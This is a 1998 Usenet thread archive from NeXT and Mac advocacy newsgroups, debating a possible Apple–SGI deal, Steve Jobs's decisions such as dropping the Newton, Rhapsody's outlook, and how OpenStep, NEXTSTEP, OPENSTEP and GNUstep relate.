References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1> <6hints$99c$1@ns3.vrx.net> <6hjkpg$cc$3@ha2.rdc1.sdca.home.com> <6hk9r4$ga7$1@ns3.vrx.net> <6hl31j$8an$1@ha2.rdc1.sdca.home.com>
Message-ID: <353e681a.0@news.depaul.edu>
Date: 22 Apr 98 21:58:50 GMT
Rex Riley <rriley@yahoo.com> wrote:
> In <6hk9r4$ga7$1@ns3.vrx.net> Maury Markowitz wrote:
> > <Maury thinks Apple should buy SGI>
>How does that affect Apple? I mean in a profit sense? SGI's EPS is projected
>at -$0.069 FY98. How does Apple affect SGI? Is there a killer.app for MacOS
>in there? What is the synergy that Apple's customer base provides for SGI
>merging? Obviously SGI customers clearly are NOT Apple customers.
I agree. It would be disastrous for Apple to buy SGI.
"Titanic, this is Hindenburg. Send up a flare."
SGI's in bad shape. So is Apple, but Apple's on firmer ground and they
have, IMHO, a good direction. Apple would get much more bang/buck from
an agreement to work with SGI, possibly backed up with an investment.
Perhaps Apple could invest in SGI the way Microsoft invested in
Apple. Maybe $75 million instead of $150. Embarassing for SGI,
I bet. ;)
In return, SGI would: a) license OpenGL code to Apple, and assist
in the integration with YellowBox; b) help Apple port Rhapsody
to the upcoming Intel SGI boxes; c) port their high-end software
to YellowBox, and write drivers for any SGI cards for PCs.
Buying SGI would carry an enormous amount of risk, and would be
expensive. A token investment and a development agreement would
carry much lower risk, but similar rewards. Apple has more than
enough risk right now, so there's no point adding more by buying
SGI.
BTW: It'll be interesting to watch SGI. I think they'll follow
a path similar to the path Apple would have followed, had Apple
adopted NT as their OS. I don't expect them to do well.
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: Wed, 22 Apr 1998 17:32:55 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353E7017.66F2@CONVEX.COM>
References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1>
<6hints$99c$1@ns3.vrx.net> <6hjkpg$cc$3@ha2.rdc1.sdca.home.com> <6hk9r4$ga7$1@ns3.vrx.net>
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Maury Markowitz wrote:
>
> In <6hjkpg$cc$3@ha2.rdc1.sdca.home.com> Rex Riley claimed:
> > What does it buy them?
>
> A LOT of things...
>
> a) high end hardware design, something Apple currently doesn't have
And a confusing new microprocessor architecture for which SGI has
already shortened the lifecycle but nevertheless is required to support.
And a troublesome announcement of support for Merced (Jobs would never
commit to such a thing so early).
And a ridiculous lawsuit against NVIDIA that betrays SGI's foundering
status in the technology arena.
> b) a customer list perfectly suited to Apple's strengths
What, high-end design work in a UNIX environment? These are Apple's
strengths?
> c) a "stream" of consistant offerings from "low end" to "big iron"
> that they can offer to customers
...until MIPS is dead, at which point Apple will be a forced
Merced-based clone maker. Yes, this is what Apple has wanted all along.
Geesh, if Apple wants to make Rhapsody Merced machines, nobody's
stopping them. There's no reason to go buy a dying hardware line on a
totally different RISC-based architecture just to get there.
> d) OpenGL from the masters
*Fahrenheit* from the losers. OpenGL is dead, as far as SGI's R&D is
concerned. SGI has already withdrawn support for its CosmoGL product,
and has publicly stated that Fahrenheit (a joint development with
Microsoft) is the future. Incidentally, Fahrenheit means NT (binary
compatibility with existing Direct3D software), so maybe you're saying
you think NT is Apple's future?
> e) a VERY strong message in the content creation AND content providing
> areas
Yeah: "we're dying, go to NT".
MJP
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From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 22 Apr 1998 21:34:13 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6hlnol$gcq@newsb.netnews.att.com>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <353D7473.5596B035@nstar.net> <6hjvg9$ru7$4@news.xmission.com> <353E4CBA.AA8A65F4@nstar.net>
Originator: gupta@tlctest
Michael Peck <mjpeck@nstar.net> wrote:
>Well, Don, it could also be that "war" is a lame metaphor for what's
>happening, since "war" is a struggle between two parties. If you view
>Apple's struggle as fundamentally between it and Microsoft, or it and
>Sun, or it and some other bogeyman, frankly, I think you have little
>sense of the nature of business.
Depends on where Apple is headed. For example, something like the
rumored AMP would probably lead to pre-emptive announcements by Microsoft.
>If that doesn't make any sense to you, consider that "leaking" to
>warplan to customers and would-be customer just might make sense in this
>"war". Like I said, it's a stupid metaphor.
Like any metaphor, it can be carried too far.
>> Fact is that we do know at least one of their objectives: survive. We have
>> no idea how Jobs plans to get there, nor do we know for sure if he has any
>> other hidden agendas beyond Apple's survival. Most would agree that to
>> survive, Apple needs to at least (a) show a profit and (b) return to growth.
>> If they can't do both, they are no longer viable and will either throw in the
>> towel themselves or spend several years fizzling into oblivion. (And both
>> have to be sustained, which means that the jury is going to be out for a long
>> time.)
>
>Can you explain why a single person on this planet would bother with
>Apple Computer if the scenario you describe above were actually true?
>Imagine the sales pitch: "We're committed to survival."
I think the point was that all the business plans don't amount to anything
if Apple goes under while executing. So, for example, Amelio's snail pace
wouldn't work. Waiting forever for the cloners to expand the market
wouldn't work. Waiting for the Newton to turn a profit wouldn't work.
Clones and the Newton may be very good ideas, in the long run.
Also, Apple's sales are tied to the perception of whether Apple will
survive or not.
>I don't get the sense that anybody here from the NeXT world understands
>business and markets any better than the Mac bigots who preceded them.
>What's worst about it is that most NeXT people seem to have grown into
>the mold all by themselves, transformed from (largely) normal
>intelligent people into cheering, whooping fans, complete with
>shibboleth, slogans, and these fantastic "war" metaphors.
Nice way of calling all Nexters bigots.
>Sure, it's Reality Distortion Field at work, but when people say that
>the chief end of a particular established company is to "show a profit
>and return to growth", I get really worried that nobody in this day and
>age actually understands cause and effect. For instance, hint: before
>you show a profit, you have to sell product. Before you return to
>growth, you have to stop shrinking.
The chief end of all companies is to show a profit and to grow.
This is taught in the 101 course. Everyone also knows that this is
done by selling goods and services.
>> I'd say that Jobs' moves to date, love them or hate them, have been primarily
>> addressing (a). They may or may not be the best moves toward (a), but when
>> he makes a decision, he _does_ have information that we don't have access to.
>> I sure hope he's using it well. (There's no way to be sure, and the only
>> "proof" of how good the decisions are is to wait and see if Apple makes it.)
>
>Oh, sure! Which is why all of you non-partisans waited around to see if
>Amelio's Apple "made it", right?
Some of Apple's downwards trends were turned around after Steve Jobs
reversed some of Amelio's decisions. Now, cause and effect hasn't been
established.
Certainly, Amelio got Apple back to delivering OS upgrades on time,
and made the start on cutting costs. Amelio did little to increase sales.
>
>> Let's also hope that announcements at WWDC and new product announcements for
>> the rest of the year start to show more of (b) before the "Game Over" lights
>> flick on.
>>
>> Aside: I can't help but wonder if Apple dropping the Newton isn't sort of
>> like the way an animal that's caught in a trap will gnaw off it's leg to get
>> away. Did Jobs see a hunter coming? The whole thing reeks of survival
>> tactics to me. Note that the animal will sorely miss that leg later...but is
>> it better to be alive with three legs or dead with four?
>
>[sigh] I don't understand this metaphor, either. I mean, if Newton had
>been tying Apple to anything in particular except a large base of
>customer, I suppose it would make some sense. As it is, it seems like
>more rationalization to me.
The problem was that Newton wasn't tying Apple to a large base of
customer, it was tying Apple to a small base of customer.
Whatever strategic value the Newton represented, it probably didn't
give Apple enough cash flow. Moreover, where would the resources to
keep up -- give Newtons color screens, more form factors, wireless
communications, etc., etc., -- come from ?
>Perhaps a more appropriate metaphor would be Hamlet, wherein one man was
>slain to make room for another, i.e. Newton wasn't Jobs' idea but he
>*can* claim credit for MacOS Lite or whatever other abomination is in
>the pipeline for unsuspecting PDA users.
I see, anything but Newton is an abomination. Who was calling whom a bigot ?
Incidentally, I am familiar with the Newton 2000, having bought one.
While NewtonOS may be a great creation, and the Newton hardware may be
a miracle of engineering, the fact remains that it is short on
the "convenience" factor, especially in the package it was sold.
IMO, it should have had a more convenient case, room for a power-adaptor
and extra batteries, should have come with a basic modem card, and
more convenient to attach to various parts of the body or clothing.
It should have had better IR capabilities (printing over the IR port
was horribly slow), and better synchronization with the desktop.
It would then have been worth the price they were selling it for.
>But actually, I *do* like this animal metaphor, because it's a worthy
>symbol of Apple's apparent decision to sacrifice the "technical
>superiority" leg in favor of survival. The question, again, becomes "why
>does anyone want to have anything to do with a company that acts this
>way?"
Why would anyone want to have anything to do with a dead company ?
Also, unfortunately, technical superiority doesn't pay the bills.
-arun gupta
From: pxpst2@vms.spam.suxs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Wed, 22 Apr 1998 18:47:19 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-2204981847190001@pelli.pathology.pitt.edu>
References: <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com> <6h1r8v$os8$5@ns3.vrx.net> <6h351d$cfh$1@new-news.cc.brandeis.edu> <6h2lv1$fbp$1@ns3.vrx.net> <joe.ragosta-1504982003550001@elk35.dol.net> <slrn6jdjt5.3u2.sal@panix3.panix.com> <6h734m$6s$2@ns3.vrx.net> <slrn6jk4vg.rln.sal@panix3.panix.com> <6hf2ce$bmt$1@ns3.vrx.net> <pxpst2-2004981045410001@pelli.pathology.pitt.edu> <slrn6jo9ck.q17.sal@panix3.panix.com>
In article <slrn6jo9ck.q17.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> On Mon, 20 Apr 1998 10:45:41 -0500, Peter
<pxpst2@vms.spam.suxs.cis.pitt.edu> wrote:
> >I think that Sal was not entirely correct. Once Unix passes 20 processors
> >then it(the OS/Hardware interface) has very different needs. Unicos is
>
> Palmtop to teraflop is an overstatement. I do know that one of the reasons
> why the company I work for buys Solaris and Sun "Big Iron" is its ability
> to scale up to very large workloads without having to do major recodeing.
> (you might in many cases, but often you can just move the data over,
> reconfig and edit the DNS entries.)
>
> The current crop of G3s has only three PCI slots, it is hardly "Big Iron"
Of course not. But they are nice computers to use as front end
workstations. The scalability of Unix is the major feature that Unix has
and NT does not. I do hope that Apple exploits this with Rhapsody. A
nice GUI is fine but give it POWER as well.
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: 22 Apr 1998 18:37:40 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6hlddk$cbf$1@ns3.vrx.net>
References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1>
<6hints$99c$1@ns3.vrx.net> <6hjkpg$cc$3@ha2.rdc1.sdca.home.com>
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In <353E7017.66F2@CONVEX.COM> Michael Peck claimed:
> And a confusing new microprocessor architecture for which SGI has
> already shortened the lifecycle but nevertheless is required to support.
Ok, bad point.
> And a troublesome announcement of support for Merced (Jobs would never
> commit to such a thing so early).
Uhhh, he did already didn't he?
> And a ridiculous lawsuit against NVIDIA that betrays SGI's foundering
> status in the technology arena.
Ridiculous lawsuits are the nature of business, I don't see them as being
signs of anything but too many lawers.
> What, high-end design work in a UNIX environment? These are Apple's
> strengths?
No, 3D work and graphics. Weak on 3D, strong on graphics. Now they'd have
the whjole she-bang.
> ...until MIPS is dead, at which point Apple will be a forced
> Merced-based clone maker. Yes, this is what Apple has wanted all along.
Hardly. Orphan MIPS as soon as humanly possible and get REAL PPC boxes
into the market. I don't see any part of the logic where any of this
"forces" Apple to become a Merced clone builder?!
> Geesh, if Apple wants to make Rhapsody Merced machines, nobody's
> stopping them. There's no reason to go buy a dying hardware line on a
> totally different RISC-based architecture just to get there.
Yeah, ok.
> Yeah: "we're dying, go to NT".
Ok, end of thread.
Maury
From: gio+van+no+ni+8@tal+star+spam.com (Giovanni 8)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 22 Apr 1998 23:22:19 GMT
Organization: FSUOC TFN NRA AXE
Message-ID: <gio+van+no+ni+8-2204981931280001@dialup157.tlh.talstar.com>
References: <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com> <6h1r8v$os8$5@ns3.vrx.net> <6h351d$cfh$1@new-news.cc.brandeis.edu> <6h2lv1$fbp$1@ns3.vrx.net> <joe.ragosta-1504982003550001@elk35.dol.net> <slrn6jdjt5.3u2.sal@panix3.panix.com> <6h734m$6s$2@ns3.vrx.net> <slrn6jk4vg.rln.sal@panix3.panix.com> <6hf2ce$bmt$1@ns3.vrx.net> <slrn6jo8u2.q17.sal@panix3.panix.com>
Cache-Post-Path: nexus.polaris.net!unknown@dialup157.tlh.talstar.com
> Salvatore Denaro wrote:
>> On 1998-04-20 08:52:30 GMT, Maury Markowitz wrote:
>>> Salvatore Denaro claimed:
>>> If you want to sell Unix to the Fortune 500, you have to
>>> show that it can scale from desktop to teraflop.
Indy2... Power Challenge, both from SGI.
>> I think a great deal of Unix is being "sold" into the web
>> serving enviornment where small boxes is the solution.
> True. And WO will attack a lot of buisness for Apple, assuming
> the price is right. But Apple needs something on the high end,
> of a deal where Rhapsody will run on bigger boxes than the G3
> minitowers.
The box doesn't need to be big. I know of at least one
instance where a little tower PowerMac was successfully
supporting some 10K accounts, with e-mail, web service,
stats packages, FORTRAN, C, etc. programs... of course,
It was (is?) a PowerMac with the Ill Begotten Monstrosity
label "RS/6K" on it.
"The IBM 4381 is now an artificial reef." --- FSU Faculty
Senate Computer & Info Resources Comm.
"A word fitly spoken is like apples of gold in a setting
of silver." --- English proverb (quoted in Richard Lederer
1991 _The Miracle of Language_ pg 218)
--
copyright 1997 jgo All rights reserved.
Permission to down-load, read, store for less than 24 hours for
the purpose of responding is hereby granted. Further licenses
available at reasonable rates.
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: Wed, 22 Apr 1998 18:40:18 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353E7FE2.219@CONVEX.COM>
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Kristofer Jon Magnusson wrote:
>
> Michael Peck <mjpeck@nstar.net> wrote:
>
> : Don Yacktman wrote:
>
> : I don't get the sense that anybody here from the NeXT world understands
> : business and markets any better than the Mac bigots who preceded them.
>
> That's a pretty interesting opinion to hold.
>
> Don, the object of your attack, has facilitated the development and
> distribution of components that have saved businesses countless hours of
> development and maintenance time.
So he's a fabulous developer. Your point was...?
> Omni has not only survived in the risky NeXT world, but has prospered,
> funding the development of cool products like OmniWeb with their profits.
Oh, no, you brought out the big guns. Well, after Will Shipley's remarks
in this newsgroup regarding the Netscape port to Rhapsody, I'm not
convinced he understands business at all well. If that's an interesting
opinion, enjoy.
> Jonathan Schwartz, founder of Lighthouse, is now a senior VP at Sun.
Making Java products. Your point was...?
> You have made a misstatement.
So you say.
MJP
--
BEFORE YOU REPLY TO THIS MESSAGE, PLEASE PREPEND 'MJP' TO THE ADDRESS
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 23 Apr 1998 09:44:06 GMT
Organization: P & L Systems
Message-ID: <6hn2h6$57p$23@ironhorse.plsys.co.uk>
References: <6hlrvl$q9q$1@nnrp1.dejanews.com> <353ea292.0@news.depaul.edu>
<see-below-2204982044230001@209.24.241.227> <353ebd6e.0@news.depaul.edu>
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Cc: jhendry@shrike.depaul.edu
In <353ebd6e.0@news.depaul.edu> Jonathan W Hendry wrote:
> In comp.sys.next.advocacy Matthew Vaughan <see-below@not-my-address.com>
wrote:
> > In article <353ea292.0@news.depaul.edu>, Jonathan W Hendry
> > <jhendry@shrike.depaul.edu> wrote:
>
> > But not least, any "major push" will be futile if there aren't any
> > applications to speak of. I know there's a small cadre of OpenStep
> > developers with good stuff to offer, but I doubt that will be nearly
> > enough to sway very many customers. Right now Apple doesn't need to sell
> > it to end users so much as they need to sell it to developers.
>
> True, but perhaps less so for buyers looking at Rhapsody as a server.
>
Wil Shipley's recent article on Stepwise addresses this point very well:
http://www.stepwise.com/
To add to it, though, to say that "any "major push" will be futile if there
aren't any applications to speak of" I think misses the point. For Mac-users
at least, the BlueBox will offer adequate compatibility with legacy apps. In
the non-server market, Rhapsody will gain acceptance because of a couple of
apps, or quite possibly custom apps, which give significant competitive
advantage. What these apps are will differ for different users.
> That said, I am concerned about how quiet c.s.n.programmer, next-prog,
> and rhapsody-dev have been. I've seen some new faces, but not very
> many at all. If there was a lot of rhapsody development (or preparation
> for same) going on, I'd expect to see more participation.
>
Well, yes and no. It is of a little concern, however:
(1) I think there are a lot of people out there doing stuff *quietly*,
because they don't want others to know.
(2) I don't think some Mac developers have quite twigged yet to where Apple
is going, and they're going to be in for a shock at WWDC. Either that, or
they're still sufficiently jaundiced that they'll believe it when they see it
-- I guess I'd have to have some sympathy with that attitude. But not much.
(3) Whilst I'd welcome more competition, I guess I'd have to be happy enough
that this does make things easier for those of us that are running with the
ball.
Best wishes,
mmalc.
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Wed, 22 Apr 1998 22:47:16 -0700
Organization: Trilithon Research and Trading
Message-ID: <353ED5E4.D2BDAB7B@trilithon.com>
References: <6b51f7$j67$6@ironhorse.plsys.co.uk> <6heag2$18l$1@quasar.dimensional.com> <6hhjh3$57p$18@ironhorse.plsys.co.uk> <6hjpvq$gpi$4@quasar.dimensional.com> <6hk7t4$fgu$1@bartlet.df.lth.se> <6hma26$3cm$1@quasar.dimensional.com>
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Kenneth R. Kinder wrote:
<<<< Much Prior Nonsense Snipped >>>>
* OpenStep has two meanings. There's the published specs, which
* are open, and there's the software.
I had to (try to) parse ahead to get your meaning. Let me try to pull
apart what I believe are the the essential issues and try to clarify.
1. There is an OpenStep *specification*, jointly
developed by Next and Sun.
2. There is an OpenStep *implementation*, also
jointly developed by Next and Sun
* The OpenStep operating environment/system from sun,
The OpenStep implementation from Sun has followed the zumbooruk into
obsolescence.
* unless OpenSource, is proprietary software, as well is NEXTSTEP.
Sorry --- I could not parse the above.
* Thus, GNUStep would be the first OpenSouce (non-proprietary)
* implimentation of OpenStep API.
Sounds more or less correct.
* NeXT, as a company, is not in liberty to prevent
* GNUStep development.
When you state it as "at liberty", that statement is pretty well
correct.
Next, the company that no longer exists as a legal entity, is not at
liberty to prevent GNUStep. Next's successor, namely Apple, are also
not at liberty to prevent GNUStep. Only the GNUStep group are at
liberty to shoot off their own collective foots.
The entire issue of an "open" standard is that there's a published
specification that any sufficiently hardy bunch of souls with
enough fuel (twinkies, Chardonnay, or Chocolate . . . ) can
implement a clone. For example, there are several clones of
PostScript. There are countless C, C++, FORTRAN, BASIC, and all
that, implementations of those languages. The multiple
implementations are there because the specifications are published.
OpenStep is a published specification for a collection of
foundation classes and a collection of GUI classes, and there's
nothing to prevent any group from creating a compatible and
compliant toolkit based on the published specifications.
There's even an OpenStep compliance test suite, against which
you can check the accuracy of your implementation.
* So, the only 'relation' there is between NEXTSTEP and GNUstep,
* is that NEXTSTEP was the ancestor of the OpenStep standard,
Bollocks.
* and that GNUstep is an attempt to implement said standard
* (OpenStep), without basing this implementation on NeXTs
* OPENSTEP codebase.
Correct. GNUstep will try to provide an OpenStep compliant
implementation of OpenStep (meaning they have to pass the OpenStep
compliance test suite --- if it still exists) without any reference
to the OpenStep code base. Neither Next's code base, nor Sun's code
base, which, let me tell you, are/were very divergent.
* Which is why NeXT
They don't exist.
* can't prevent GNUStep's development
We just discussed this. They can't legally even try.
So, *what* was your point?
........ Henry [late night Chardonnay]
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 23 Apr 1998 10:04:33 GMT
Organization: P & L Systems
Message-ID: <6hn3nh$57p$24@ironhorse.plsys.co.uk>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu>
<B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net>
<TheLidlessEyeTh-2104982351350001@digital-00-54.hou.neoworld.net> <353E6B86.33C6@CONVEX.COM>
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NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
In <353E6B86.33C6@CONVEX.COM> Michael Peck wrote:
> That's like saying "When PCs drop to the same price as wristwatches, I'm
> there dude." The Newton isn't even remotely analogous to the PalmPilot;
> if you don't recognize that, don't worry, most people don't. In fact,
> Apple didn't recognize it.
>
Was it the case that Apple didn't realise it, or was it the case that Apple
did realise that other people didn't realise it. Whatever, if most people
didn't realise it, then it begs the questions (a) what proportion of people
did, and (b) what expenditure would be required on marketing to educate
others?
It sounds to me like you've just given a perfectly good reason for dropping
the product.
Best wishes,
mmalc.
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: AMP, DVD, HDTV, and Titanic
Date: 23 Apr 1998 00:45:19 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd6e3f$00eed8d0$04387880@test1>
Did I throw enough acronyms into the subject line?
Here is a dream - what I would like to see, but don't expect it.
BACKGROUND:
-----------
o The president and congress basically have a goal to replace
everyone's TV sets with new high definition sets (HDTV) over the next
decade.
o VHS technology is getting pretty old (but not as old a NTSC and
PAL), and a number of home electronics vendors would love to see
everyone upgrade to DVD for watching movies.
o DVD, while providing better audio and video than VHS, is still
designed around PAL and NTSC output and does not support HDTV
formats.
o In fact, there is no proposed media player for playing high
definition quality movies on your HDTV set. Can you imagine building
a home theater around your new HDTV but not being able to play any
movies on it?
o While DVD has been around for a few months, its first big test will
probably be this coming Christmas season.
o HDTV sets are supposed to be available around this Christmas
season.
o Apple's rumored Apple Media Player (AMP) is supposed to be
available around this Christmas season.
o Titanic, the most popular movie of all time, will probably make its
home video debut around this Christmas season.
(see a pattern)
DREAM:
------
I would love for Apple to deliver AMP, capable of not only reading
the standard DVD disks, but also capable of reading new HDTV-DVD
formatted disks (designed by Apple and others).
Before releasing it, Apple would team with one or two HDTV set makers
and Paramount pictures to bundle the AMP and Titanic with their sets.
Apple would also work closely with several other movie studios to
bring their movies to the Apple inspired HDTV-DVD format.
Furthermore, the AMP would have similar capabilities as Microsoft's
WebTV, supporting several nice TV features (e.g., picture-in-picture)
but also access to the Internet. Furthermore, because of the higher
resolution of HDTV sets, Internet surfing would be a wonderful
experience.
Apple would be positioning itself for a new growth market (since
every set in the US is supposed to be replaced in the next 10 years).
Also, everyone walking into a Good Guys or Frys this Christmas
season would be greeted my a georgeous HDTV showing movies from
Apple's AMP, thus helping to re-establish in people's mind that Apple
is a leader in new technologies.
Finally, the AMP would have audio out jacks and standard PC monitor
support. This would allow anyone with a nice PC monitor to hook up
their monitor and stereo for instant HDTV. (just a little extra
circuitry to adjust for interlaced vs. progressive scan and different
pixel ratios ;-)
SUMMARY:
--------
A new inflection point is almost here: HDTV sets are arriving, old
broadcasting is supposed to be phased out in the next decade, and
people are seriously considering something to replace the aging VHS
format.
Inflection points create opportunity. There are no established
monopolies, and the market will be wide open. I hope Apple will make
a play for it.
Well, I can dream can't I?
Todd todd@NetSQ.com
PS. I still can't believe TV manufacturers are going to release HDTV
sets without being able to play movies at home in full HDTV glory.
Brain dead...
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 23 Apr 1998 08:59:50 +0200
Organization: The Computer Society at Lund
Message-ID: <6hmot6$6au$1@bartlet.df.lth.se>
References: <6b51f7$j67$6@ironhorse.plsys.co.uk> <6hjpvq$gpi$4@quasar.dimensional.com> <6hk7t4$fgu$1@bartlet.df.lth.se> <6hma26$3cm$1@quasar.dimensional.com>
NNTP-Posting-User: cb
In article <6hma26$3cm$1@quasar.dimensional.com>,
Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
>In comp.os.linux.advocacy , article <6hk7t4$fgu$1@bartlet.df.lth.se> ,
>Christian Brunschen <cb@bartlet.df.lth.se> wrote:
>
>>>> OK, Ken, pretend I'm really ignorant... please enlighten me, as the Master
>>>> might enlighten the Grasshopper by bending over to tighten his
>sandal, let me
>>>> know that is the relationship between NextStep and GNUStep.
>
>>>> Let us also pretend that I do not have access to the WWW, so, unfortunate
>>>> individual that I am, I cannot look at any URLs that you might care
>to refer
>>>> me to; how much better anyway to hear the words like pearldrops -- or any
>>>> other brand of tooth whitener for that matter -- from your own sweet lips.
>
>>>I'll ignore this sarcasm... <grin>
>
>>>Well, Mmalc, someone was questioning why, if NextStep is proprietary
>>>software, can GNUStep then clone it. I explaned that OpenStep, what
>>>NextStep adheres to IS an open standard, and that anyone is free to use it,
>>>so long as they don't use copyrighted NextStep code...
>
>> Ahh .. you are confusing things.
>
>No, I'm not.
Oh yes you are. Above, you write '[...] OpenStep, what NextStep adheres to
[...]', and _that_ is incorrect, and based upon a misunderstanding.
NEXTSTEP (the product) does _not_ adher to OpenStep (the standard).
OPENSTEP (the product) does adher to OpenStep (the standard).
So, you did indeed make a mistake; and the relationship you should look at
is between OPENSTEP (NeXT's implementation of the OpenStep standard) and
GNUstep (GNU's implementation of the OpenStep standard).
Clear ?
As to the point you were trying to make:
OpenStep is an open standard. published by NeXT and Sun. (The fact that
the OpenStep standard was based largely on experience gained with NEXTSTEP
is irrelevant, since OpenStep introduces several whole new concepts and
replaces others that were in NEXTSTEP.)
'Open standard' means that people are free to implement their own versions
of it, without any risk for repercussions simply because they implement
the standard. (They might not be allowed to call it 'OpenStep' unless they
pass a test suite of some sort, but that is a trademark issue.)
NeXT's OPENSTEP product is an implementation of the OpenStep standard.
Sun's OpenStep for Solaris (or whatever it was called) was Sun's
implementation of the OpenStep standard.
GNUstep is a volunteer effort building a free implementation of the
OpenStep standard.
Unless one of the implementors has licensed source code to another,
neither implementor has any control over the implementation efforts of any
other implementor. (It just so happens that Sun licensed parts of their
OpenStep implementation from NeXT, but that still does not touch GNUstep.)
>
>> NEXTSTEP (the final capitalization used for that product) was never an
>> open standard; the open standard, developed by NeXT and Sun in
>> cooperation, and based upon NEXTSTEP, was given the name OpenStep. NeXT's
>> implementation of this open standard is called OPENSTEP (not the
>> capitalization); it is based directly on the code base of NEXTSTEP, but
>> implements the OpenStep standard.
>
>OpenStep has two meanings. There's the published specs, which are open, and
>there's the software. The OpenStep operating environment/system from sun,
>unless OpenSource, is proprietary software, as well is NEXTSTEP.
as is OPENSTEP from NeXT (now Apple).
> Thus,
>GNUStep would be the first OpenSouce (non-proprietary) implimentation of
>OpenStep API.
Yes ... ?
>NeXT, as a company, is not in liberty to prevent GNUStep development.
Indeed - that is why they published the OpenStep standard in the first
place; so that people would feel comfortable about using products
implementing it (such as NeXT's OPENSTEP or Sun's OpenStep for Solaris),
since they could always implement it themselves if they felt their current
implementor of the standard was doing nasty things, charging too much
money, or whatever.
>
>> So, the only 'relation' there is between NEXTSTEP and GNUstep, is that
>> NEXTSTEP was the ancestor of the OpenStep standard, and that GNUstep is an
>> attempt to implement said standard (OpenStep), without basing this
>> implementation on NeXTs OPENSTEP codebase.
>
>Which is why NeXT can't prevent GNUStep's development, the initial question
>at hand.
There is no question at hand.
>
>>>And so, you ask... what NextStep has to do with this... and this is the
>>>answer...
>
>> ... and you were, alas, mistaken.
>
>No, I'm not.
Yes you are (or hopefully, after reading this message, were :) Not in your
point that GNUstep development can go on unhindered - it _can_, that is
the _whole point_ of making OpenStep an open standard - but about the
genealogy of NEXTSTEP, OpenStep and OPENSTEP.
>You are either misinterpeting what I'm saying (English is not
>a strong point for me), or you are mistake. It looks to me that you and I
>have the same understanding of the situation, and merely have a
>communication problem.
Just to recap:
NEXTSTEP, the product, implements a set of APIs, which go under no
particular name except perhaps 'the NEXTSTEP APIs'.
After usign and improving the NEXTSTEP APIs for some time, NeXT decided a
major overhaul was needed; something that would probably break backwards
compatibility anyway. So, instead of just embellishing further on the
NEXTSTEP APIs, they decided to build a new set of APIs from scratch. And,
in order to (hoipefully) gain wider acceptance of these APIs (and thus a
larger softwaer base for their implementation of the APIs), they decided
to co-develop them with Sun, and publish the specification as an open
standard, for anyone to implement as they chose.
So, NEXTSTEP's APIs were an inspiration for the development of the
OpenStep standard's APIs.
Since the OpenStep APIs are still similar to, and largely based upon
similar ideas as the NEXTSTEP APIs, NeXT were able to reuse large parts of
their code base from NEXTSTEP when they wrote their own implementation of
the OpenStep standard - OPENSTEP.
So, NEXTSTEP is the ancestor of both OpenStep the standard, and OPENSTEP
the product:
1) NEXTSTEP's APIs were used as a starting point for the development
of the OpenStep standard APIs
2) NEXTSTEP's codebase was used by NeXT as the staring point for
their OPENSTEP product, which implements the OpenStep standard
GNUstep is related to NEXTSTEP only through point 1) above - only through
the lineage in the API evolution. GNUstep does not incorporate any code
from NEXTSTEP, or for that matter from OPENSTEP. GNUstep 'simply' started
with the OpenStep standard, and began to write an implementation of it.
And, since the standard is indeed open, noone can stop them, or anyone
else for that matter, from doing so.
I hope this clears the matter up.
>
>--
>
> H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
> \==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
> O=<__>N-C3H |
